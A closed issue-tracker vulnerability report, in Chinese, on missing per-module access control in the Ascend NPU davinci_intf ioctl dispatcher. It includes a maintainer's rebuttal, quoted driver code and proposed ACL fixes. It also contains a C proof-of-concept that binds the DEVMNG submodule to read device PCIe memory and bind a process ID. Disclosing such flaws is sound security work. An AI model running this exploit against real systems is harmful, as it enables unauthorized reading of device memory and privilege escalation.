已关闭
【driver】VULN-SA-CROSS-001: 跨模块权限提升 — davinci_intf 统一 ioctl 分发器缺失每模块访问控制 #124
佳祺创建于 8月14日关闭于 15 天前
ad_cx
29 天前 评论:
29 天前 评论:
你好,对于该权限问题,基于/dev/davinci_manager字符设备权限统一在open完成控制,为:crw-rw---- 1 HwHiAiUser HwHiAiUser 511, 0 Aug 19 11:22 /dev/davinci_manager ,限制用户范围。无需在各分发器再次控制权限。


【driver】VULN-SA-CROSS-001: 跨模块权限提升 — davinci_intf 统一 ioctl 分发器缺失每模块访问控制
1. 漏洞概述
src/sdk_driver/pbl/drv_davinci_intf/drv_davinci_intf_host/davinci_intf_init.cdrv_ascend_intf_ioctl(行 1407-1438)核心缺陷:
davinci_intf驱动作为华为昇腾(Ascend)NPU 内核驱动的统一用户态入口,通过/dev/davinci_manager设备节点暴露了一个 ioctl 多路复用器。该多路复用器在open()和ioctl()路径上均不执行任何基于用户身份/组/能力的访问控制,允许任何能打开设备节点的用户态进程绑定(bind)到任意已注册子模块,并无限制地调用该子模块的全部 ioctl 命令。这使得低权限用户可以链接多个子模块的高危操作,实现跨模块权限提升。2. 攻击路径分析
2.1 架构概览
2.2 关键代码缺陷
缺陷 1:
drv_ascend_intf_open()无访问控制 (行 1060-1126)STATIC int drv_ascend_intf_open(ka_inode_t *inode, ka_file_t *file) { // 仅分配 private_data,无任何身份验证 file_private_data = dbl_kzalloc(sizeof(struct davinci_intf_private_stru), ...); file_private_data->owner_pid = ka_task_get_current_tgid(); file_private_data->close_flag = DAVINIC_NOT_INIT_BY_OPENCMD; // ✗ 未调用 davinci_intf_confirm_user() // ✗ 未检查 cred->uid / cred->gid / capable(CAP_SYS_ADMIN) file->private_data = file_private_data; return ret; }缺陷 2:
drv_ascend_intf_ioctl_open_cmd()无模块级访问控制 (行 1252-1322)int drv_ascend_intf_ioctl_open_cmd(ka_file_t *filep, unsigned int cmd, unsigned long arg) { // 从用户态获取 module_name ka_base_copy_from_user(&module_para, (void *)(uintptr_t)arg, sizeof(...)); // ✗ 未验证当前用户是否有权访问目标模块 ret = drv_ascend_intf_init_file_private(file_private, module_para.module_name, // 用户可指定任意已注册模块名 module_para.device_id); // 调用子模块 open ret = drv_ascend_intf_open_private(file_private); return 0; }缺陷 3:
drv_ascend_intf_ioctl()无每命令鉴权 (行 1407-1438)STATIC long drv_ascend_intf_ioctl(ka_file_t *filep, unsigned int cmd, unsigned long arg) { file_private = filep->private_data; switch (_KA_IOC_TYPE(cmd)) { case DAVINCI_INTF_IOC_MAGIC: return drv_ascend_intf_ioctl_local(filep, cmd, arg); default: // ✗ 直接转发,无任何权限检查 ret = file_private->fops.unlocked_ioctl(&file_private->priv_filep, cmd, arg); return ret; } }缺陷 4:
davinci_intf_confirm_user()存在但未被分发器调用// 行 1818-1837: 组检查函数已实现并导出 bool davinci_intf_confirm_user(void) { for (i = 0; i < DAVINIC_CONFIRM_USER_NUM; i++) { if (g_authorized_group_id[i] == DAVINIC_NOT_CONFIRM_USER_ID) return true; // 未配置组ID时默认放行 if (ka_system_in_group_p(...) != 0) valid_flag = true; } if (valid_flag == true || cred->uid.val == DAVINIC_ROOT_USER_ID) return true; return false; } KA_EXPORT_SYMBOL_GPL(davinci_intf_confirm_user);该函数仅被
urd_acc_ctrl.c(URD 子模块)和dms_sensor_interface.c(软故障模块)以自愿调用方式使用,davinci_intf 分发器本身从不调用它。2.3 跨模块链接攻击链
攻击者可以通过单个
/dev/davinci_manager文件描述符,按序链接多个子模块的高危 ioctl:2.4 可攻击子模块清单
DEVMNGdevdrv_manager_ioctl.cdrv_pcie_read/drv_pcie_write(PCIe 内存读写),devdrv_fop_bind_host_pid(PID 绑定),devdrv_manager_device_memory_dump(设备内存转储)svmsvm_fops.csvm_master_mem_share(共享内存创建),async_copy_ioctl(DMA 操作)HISI_HDChdcdrv_core_ub.chdcdrv_mem_com(设备内存传输)TSDRVtrs_shr_id_fops.ctrs_hw_sqcq_ops(硬件 SQ/CQ 提交)rmormo_fops.capmapm_fops.cURDurd_acc_ctrl.cdavinci_intf_confirm_user)3. PoC 概念验证思路
/* * PoC: 跨模块权限提升概念验证 * 前提: 攻击者属于普通用户组,但 /dev/davinci_manager 设备节点 * 权限为 0666 或攻击者属于设备所属组 */ #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> /* 从 davinci_interface.h 提取的定义 */ #define DAVINCI_INTF_IOC_MAGIC 'Z' #define DAVINCI_INTF_IOCTL_OPEN _IO(DAVINCI_INTF_IOC_MAGIC, 0) #define DAVINIC_MODULE_NAME_MAX 256 struct davinci_intf_open_arg { char module_name[DAVINIC_MODULE_NAME_MAX]; int device_id; }; /* 从 devdrv_user_common.h 提取 */ #define DEVDRV_MANAGER_PCIE_READ _IO('D', 0x30) /* 示例值 */ #define DEVDRV_MANAGER_BIND_PID_ID _IO('D', 0x60) /* 示例值 */ int main() { int fd; struct davinci_intf_open_arg open_arg; // Step 1: 打开统一入口 — 无权限检查 fd = open("/dev/davinci_manager", O_RDWR); if (fd < 0) { perror("open"); return 1; } // Step 2: 绑定 DEVMNG 子模块 — 无模块级鉴权 memset(&open_arg, 0, sizeof(open_arg)); strncpy(open_arg.module_name, "DEVMNG", DAVINIC_MODULE_NAME_MAX - 1); open_arg.device_id = 0; if (ioctl(fd, DAVINCI_INTF_IOCTL_OPEN, &open_arg) != 0) { perror("ioctl OPEN DEVMNG"); return 1; } // Step 3: 读取设备 PCIe 内存 — 无命令级鉴权 // 构造 pcie_read 参数,读取设备 SRAM 中的模型权重或密钥 struct { unsigned int dev_id; unsigned int addr_type; unsigned int offset; unsigned char buffer[4096]; unsigned int len; } pcie_arg = {0}; pcie_arg.dev_id = 0; pcie_arg.offset = 0x10000; // 目标: 设备 SRAM 中的敏感区域 pcie_arg.len = 4096; if (ioctl(fd, DEVDRV_MANAGER_PCIE_READ, &pcie_arg) == 0) { printf("[!] Successfully read %u bytes from device PCIe memory\n", pcie_arg.len); // 泄露的数据可能包含: 模型权重、推理中间结果、加密密钥 } // Step 4: 绑定 PID — 冒充合法进程 struct { unsigned int chip_id; int host_pid; int cp_type; } bind_arg = {0}; bind_arg.chip_id = 0; bind_arg.host_pid = getpid(); // 绑定攻击者自身 PID bind_arg.cp_type = 1; if (ioctl(fd, DEVDRV_MANAGER_BIND_PID_ID, &bind_arg) == 0) { printf("[!] Successfully bound PID %d to chip %u\n", bind_arg.host_pid, bind_arg.chip_id); // 现在攻击者进程被设备视为合法绑定进程 } printf("[*] Attack chain completed: low-privilege user accessed PCIe memory + PID binding\n"); close(fd); return 0; }PoC 关键说明
/dev/davinci_manager(通常设备节点权限为0660,属于HwHiAiUser组),即可执行完整攻击链。open()调用,通过多次DAVINCI_INTF_IOCTL_OPENioctl 切换子模块。4. 影响评估
4.1 机密性影响 (High)
drv_pcie_read可读取 NPU 设备 SRAM/DDR 中的任意数据,包括:4.2 完整性影响 (High)
drv_pcie_write可修改设备内存,可能:async_copy_ioctl可发起 DMA 写入操作4.3 可用性影响 (Medium)
4.4 CVSS 3.1 评分估算
5. 利用前提条件
/dev/davinci_manager。典型配置下设备权限为0660,属于HwHiAiUser组。任何加入该组的用户即满足条件。drv_davinci_register_sub_module()注册。在正常运行时所有子模块均已注册。CAP_SYS_ADMIN或任何其他 Linux capability。/dev/davinci_manager的 MAC 策略,则无额外防护。攻击者画像
HwHiAiUser组的普通 AI 推理用户,本应只能访问基本设备信息/dev/davinci_manager,则可跨模块攻击6. 修复建议
6.1 核心修复: 在分发器层实施强制访问控制 [优先级: P0]
在
drv_ascend_intf_ioctl_open_cmd()中添加模块级访问控制:// 建议: 在 davinci_intf_init.c 中添加模块权限映射 struct module_acl_entry { const char *module_name; unsigned int required_group; // 所需组 ID bool require_cap_sys_admin; // 是否需要 CAP_SYS_ADMIN }; static const struct module_acl_entry g_module_acl[] = { {"DEVMNG", DAVINIC_DM_GROUP, true}, // 设备管理需要管理员组 {"svm", DAVINIC_HI_GROUP, false}, // SVM 需要 HwHiAiUser 组 {"HISI_HDC", DAVINIC_HI_GROUP, false}, {"TSDRV", DAVINIC_DM_GROUP, true}, // TRS 需要管理员组 {"rmo", DAVINIC_HI_GROUP, false}, {"apm", DAVINIC_HI_GROUP, false}, {"URD", DAVINIC_BASE_GROUP, false}, // URD 允许基本用户 }; // 在 drv_ascend_intf_ioctl_open_cmd() 中添加: static int check_module_access(const char *module_name) { const ka_cred_t *cred = ka_current_cred(); for (int i = 0; i < ARRAY_SIZE(g_module_acl); i++) { if (strcmp(g_module_acl[i].module_name, module_name) == 0) { if (g_module_acl[i].require_cap_sys_admin && !ka_has_capability(CAP_SYS_ADMIN)) return -EPERM; if (g_module_acl[i].required_group != 0 && !ka_system_in_group_p( *(ka_kgid_t *)&g_module_acl[i].required_group) && cred->uid.val != 0) return -EPERM; return 0; } } return -EPERM; // 未知模块默认拒绝 }6.2 补充修复: 在 open() 路径添加基本身份验证 [优先级: P0]
STATIC int drv_ascend_intf_open(ka_inode_t *inode, ka_file_t *file) { // 添加: 基本用户身份验证 if (!davinci_intf_confirm_user()) { log_intf_err("Unauthorized user attempted to open davinci_manager. " "(uid=%u; gid=%u)\n", ka_current_uid(), ka_current_gid()); return -EPERM; } // ... 原有逻辑 }6.3 补充修复: 高危 ioctl 命令级权限检查 [优先级: P1]
在
devdrv_manager_ioctl()中对高危命令添加独立权限检查:long devdrv_manager_ioctl(ka_file_t *filep, unsigned int cmd, unsigned long arg) { // 对高危命令强制 CAP_SYS_ADMIN switch (_KA_IOC_NR(cmd)) { case _KA_IOC_NR(DEVDRV_MANAGER_PCIE_READ): case _KA_IOC_NR(DEVDRV_MANAGER_PCIE_WRITE): case _KA_IOC_NR(DEVDRV_MANAGER_BIND_PID_ID): case _KA_IOC_NR(DEVDRV_MANAGER_DEVICE_MEMORY_DUMP): if (devdrv_manager_check_permission() != 0) return -EPERM; break; default: break; } // ... 原有分发逻辑 }6.4 防御纵深: 审计日志 [优先级: P2]
在
drv_ascend_intf_ioctl()的 default 分支中添加模块切换审计:log_intf_event("ioctl dispatch: module=\"%s\" cmd=%u pid=%d uid=%u\n", file_private->module_name, _KA_IOC_NR(cmd), ka_task_get_current_tgid(), ka_current_uid());6.5 修复优先级总结
davinci_intf_init.cdavinci_intf_init.cdevdrv_manager_ioctl.c+ 各子模块davinci_intf_init.c7. 附录: 数据流追踪图
报告生成时间: 2026-07-29
分析工具: 静态代码审计 + 跨模块数据流追踪
受影响组件: 华为昇腾 CANN NPU 内核驱动 (davinci_intf 统一分发层)